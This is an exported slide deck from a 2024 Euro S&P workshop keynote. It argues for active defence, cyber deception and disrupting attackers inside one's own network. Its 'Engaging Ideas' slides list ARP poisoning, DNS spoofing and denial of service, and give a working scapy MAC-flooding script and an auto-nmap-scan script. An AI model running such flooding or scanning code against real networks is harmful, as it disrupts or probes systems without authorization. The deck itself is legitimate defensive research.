ENGAGE YOUR ENEMY
The case for attacking the attacker
Sebastian Garcia
Stratosphere Laboratory.
Czech Technical University in Prague
https://www.stratosphereips.org/
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457269/pasted-from-clipboard.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457989/stratologo-letters.png)
AD&D Workshop, Euro S&P, 2024
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11458922/pasted-from-clipboard.png)
Active Defense and Deception
Active Defense and Deception
Defense
A multidisiplinary approach to protect your assets, values, resources, and business.
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456727/pasted-from-clipboard.png)
Defense
A multidisiplinary approach to protect your assets, values, resources, and business.
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456722/pasted-from-clipboard.png)
Cybersec Architecture: Passive
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457291/Business_Model_Canvas_-_Frame_3.jpg)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456741/pasted-from-clipboard.png)
Arch Passive Defense
Cybersec Architecture: Passive
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456754/pasted-from-clipboard.png)
Cybersec Operation: Passive
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456741/pasted-from-clipboard.png)
Arch Passive Defense
Oper Passive Defense
Passive Defense
Active Defense and Deception
Active Defense
Proactive approach to protecting information systems and networks from threats. It involves taking dynamic and often aggressive measures to detect, analyze, and mitigate cyber attacks in real-time
Active Defense
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11458050/Business_Model_Canvas_-_Frame_2.jpg)
Active Defense
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456891/pasted-from-clipboard.png)
Active Defense
Change (a binary decision)
- A product demands to block an IP in a FW.
- SIEM blocks an account in AD.
- SIEM logouts an account in a computer.
- SIEM terminates Cloud sessions
- EDR/XDR kills a process.
- Proxy blocks URL
- Fail2ban blocks in local FW after bruteforce
Active Defense
Adapt (degrees of change. Predefined)
- Change the network bandwidth for a host.
- Change the API bandwidth access.
Active Defense
Learn (degrees of change. Learned)
- ML (AD, Classifiers)
- Learn from FP.
- Learn risk levels.
- Learn seasonality.
- Human-in-the-loop. "Assisted"
- Playbooks are here.
Active Defense
Share
- Sharing IoC
- Slips IDS local P2P TI sharing [1].
- Local IPs too.
- Trust based, adversary-resilient.
[1] Garcia, S., Gomaa, A., & Babayeva, K. Slips, behavioral machine learning-based Python IPS https://github.com/stratosphereips/StratosphereLinuxIPS
Active Defense
Engage
Why Active Defense?
Change
- Stops the attack, so it works.
Adapt
- A proportionate response may reduce false positives.
Learn
- A proportionate response may reduce more false positives.
Share
- It may stop attackers faster. They are local IoC.
Not Moving Target Defense?
- Move the assets to confuse attackers and make them lose track of IPs, resources, etc.
- If legit users can find the correct server, attackers also can.
- Legitimate users/process also get lost.
- If a honeypot is found, better to move it for the next attack.
- Production servers can not 'disappear', so the attacker knows.
- I personally don't believe it works.
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456741/pasted-from-clipboard.png)
Active Defense
Active Defense
Arch Passive Defense
Oper Passive Defense
Active Defense and Deception
Deception
The act of causing someone to accept as true or valid what is false or invalid
Merrian-Webster Dictionary. Link
Deliberate measures to induce erroneous sensemaking and subsequent behaviour within a bio-digital target set, to achieve and exploit an advantage.
National Cyber Deception Laboratory. Link
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11454211/pasted-from-clipboard.png)
Deception
Deception
-
The Ghost Army impersonated larger and more costly units.
-
Copied insignias in uniforms and cars, specific officers, morse code operators typing profiles, tracks in the soil, recorded sound of larger groups, and, of course, inflatable tanks.
-
The own Army believed they were real.
CyberDeception is Different
Lessons from 'kinetic' deception are nice but hard to translate. They were trying to deceive an enemy about defenses being better and larger.
CyberDeception. Why?
- Early warning systems for faster blocking.
- Minimize time to detection.
- Minimize false positives.
- Optimize resource allocation.
- Reduce cost of defense!
- Profile attackers? almost nobody does.
- Slow attacks down?
- Difficult attack.
Deception
And, do not to make organizations more insecure
Psychological Deception
-
Opportunity to influence and change attackers:
-
Attention, Perception, Sensemaking, Expectation, Emotion, Behavior
-
-
If told deception may be used, attackers avoid weak systems
Deception Types
-
A-type (Ambiguity)
- Make the attacker unsure about all. Defenses, actions, preparations, data.
- A honeypot that looks exactly as the real server.
- Attack delays the decision waiting for 'more information'.
-
M-type (Misleading)
- The attractiveness of the deception is larger than the real system. The attacker is sure the deception is the real thing.
Daniel, D. C., & Herbig, K. L. (1982). Propositions on military deception. Journal of Strategic Studies.
-
Probability honeypot
- Add many deception techniques so the probability of interacting with one is larger.
- Not so much deception but a minefield.
-
Fake honeypot
- If a real server looks like a honeypot, it usually is left unattacked.
- https://github.com/NavyTitanium/Fake-Sandbox-Artifacts
-
https://www.cyberscarecrow.com/
- If a real server looks like a honeypot, it usually is left unattacked.
Deception Types
Deception is Uncertainty
- There can be honeypots or not.
- The honeypots can be real or not.
- The attackers may be told about the honeypots or not.
- The attackers may believe what they are told or not.
-
Design of Deception Engineering [1]
-
Methods, techniques, patterns, and tools to incorporate deception.
-
-
Why you need to think in advance?
-
Magruder’s principle: easier to convince a target into holding on to a pre-existing belief than it is to convince a target of something it does not believe.
-
[1] Faveri, C. D. (2021). Modeling Deception for Cyber Security. NOVA University.
Deception Engineering
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11458059/image.png)
Kahlhofer, M., & Rass, S. (2024). Application Layer Cyber Deception without Developer Interaction
AD&D 2024 Paper
Deception Can go Further
What about doing misinformation and propaganda?
Tested, with the best results obtained with a combination of informing the attackers about deception and using deception.
Deception Can go Further
Ferguson-Walter, K. J. (2020). An Empirical Assessment of the Effectiveness of Deception for Cyber Defense.
Can we do this on the Internet?
- Fake LinkedIn profiles of people.
- Fake questions asking to fix our "FortiGate 6000F".
- Fake internal tickets about detected attackers
- Fake versions of all our servers and services.
- Fake underground forums leaked data.
- Fake announcement "We have been hit by ransomware".
Deception Can go Further
- Limited scope. After all, they may still be inside.
- Deception can fail. There are no measurements.
- Integration may not work. Not all blocks are effective.
Can we have...
- Enhanced Threat Intelligence.
- Measure response capabilities.
- Profile the proficiency of the attacker.
- Faster resolution of FP. AKA 'the phone test.'
- Better misdirect their attention.
But deception is not enough
Active Defense and Deception and Engaging
Engaging
To have contact and actively disrupt the operation of your attacker.
Engaging
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456741/pasted-from-clipboard.png)
Active Defense
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456876/pasted-from-clipboard.png)
Engaging
Arch Passive Defense
Oper Passive Defense
Engaging
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457405/DALL_E_2024-07-07_14.35.34_-_A_warning_sign_with_bold__clear_text_saying__Consult_your_lawyer_after_this_point_._The_sign_has_prominent_poisonous_and_radioactive_symbols._The_back.webp)
Engaging. Not new.
- Engaging has been happening for a long time
-
2005 Book "Aggressive Network Self-defense". Link
-
2013 Conversation "The Ethics of Hacking Back: Cybersecurity and Active Network Defense". Link.
-
2013 Book "Offensive Countermeasures. The art of active defense" John Strand/Paul Asadoorian. Link
-
2015 News "Should Companies Strike Back at Hackers?". Tripwire. Link
-
2019. US Active Cyber Defense Certainty Act (ACDC)
The Rise of Engaging
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457613/pasted-from-clipboard.png)
2019. US Active Cyber Defense Certainty Act (ACDC)
- Aimed to allow companies to engage in "active cyber defense measures" to trace and stop cyber attackers:
- Only qualified defenders with a high confidence in the attacker's identity can engage.
- Companies must inform the FBI
- Allowed to identify attackers, disrupt attacks, and monitor attackers
- Prohibited to destroy data or cause significant harm to others.
Luckily, never approved.
The Rise of Engaging
2019. National Cyber Deception Laboratory, UK
"(...) a new government-backed national laboratory for cyber deception that aims to actively “take the fight to network attackers” rather than rely on passive measures to block incoming digital offensives."
The Rise of Engaging
It was 'mysteriously' left to expire... Sure.
The Rise of Engaging
-
Engage MITRE. 2022. https://engage.mitre.org/
- "assist defenders in understanding the intricacies of adversary engagement strategies and technologies."
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11456363/pasted-from-clipboard.png)
Wait... global adversaries?
Engaging Cases
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457507/pasted-from-clipboard.png)
Engaging Cases
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457475/pasted-from-clipboard.png)
Engaging Tools
Engaging Tools
Engaging. Locally
- Local attackers are inside your network.
- Your network.
- Legal differences.
- Many more options.
- Much more control.
- Much more risk.
- Much more need.
Engaging Ideas
- ARP poisoning. Multiple sources.
- Terminal injection
- Copy data changing
- WiFi logout of attacking devices
- DoS the computer. Give more bandwidth!
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11458681/Screenshot_2024-07-08_at_12.10.45.png)
Engaging Ideas
- DNS Spoofing. Change the IP of the domains
- Block MAC address in network/WiFi/DHCP
Engaging Ideas
- MAC Spoofing DoS
from scapy.all import *
# Define the network interface
interface = "eth0"
# Generate and send packets with random MAC addresses
def mac_flood():
while True:
pkt = Ether(src=RandMAC(), dst=RandMAC()) / IP(dst="192.168.1.1") / ICMP()
sendp(pkt, iface=interface, verbose=False)
if __name__ == "__main__":
mac_flood()
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457579/Screenshot_2024-07-07_at_18.18.07_1.png)
Engaging Ideas
- What about scanning the ports of all new computers appearing in the network?
import os, json, logging
from scapy.all import sniff, ARP
import subprocess
logging.basicConfig(filename='network_scan.log', level=logging.INFO,
format='%(asctime)s - %(message)s')
KNOWN_COMPUTERS_FILE = 'known_computers.json'
if os.path.exists(KNOWN_COMPUTERS_FILE):
with open(KNOWN_COMPUTERS_FILE, 'r') as f:
known_computers = json.load(f)
else:
known_computers = {}
def save_known_computers():
with open(KNOWN_COMPUTERS_FILE, 'w') as f:
json.dump(known_computers, f)
def scan_host(ip):
logging.info(f"Scanning new host: {ip}")
result = subprocess.run(["nmap", "-p-", ip], capture_output=True, text=True)
logging.info(result.stdout)
def process_arp_packet(packet):
if packet.haslayer(ARP) and packet[ARP].op in (1, 2):
mac, ip = packet[ARP].hwsrc, packet[ARP].psrc
if mac not in known_computers:
known_computers[mac] = ip
scan_host(ip)
save_known_computers()
print("Starting ARP packet sniffing...")
sniff(filter="arp", prn=process_arp_packet, store=0)
Conclusion
Engaging attackers in your local network can give an advantage to your protection by keeping the attackers busy, forcing their mistakes, and leaving more traces behind.
But we need you to advance and help understand how deception works.
We need to find the limits of technical active defense and psychological cyberdeception to better engage attackers.
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11458047/pasted-from-clipboard.png)
Thanks!
Sebastian Garcia
https://www.stratosphereips.org/
https://infosec.exchange/deck/@eldraco
@eldraco
https://www.linkedin.com/in/sebagarcia/
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457989/stratologo-letters.png)
![](https://s3.amazonaws.com/media-p.slid.es/uploads/469461/images/11457269/pasted-from-clipboard.png)
AD&D Keynote
By eldraco
AD&D Keynote
- 73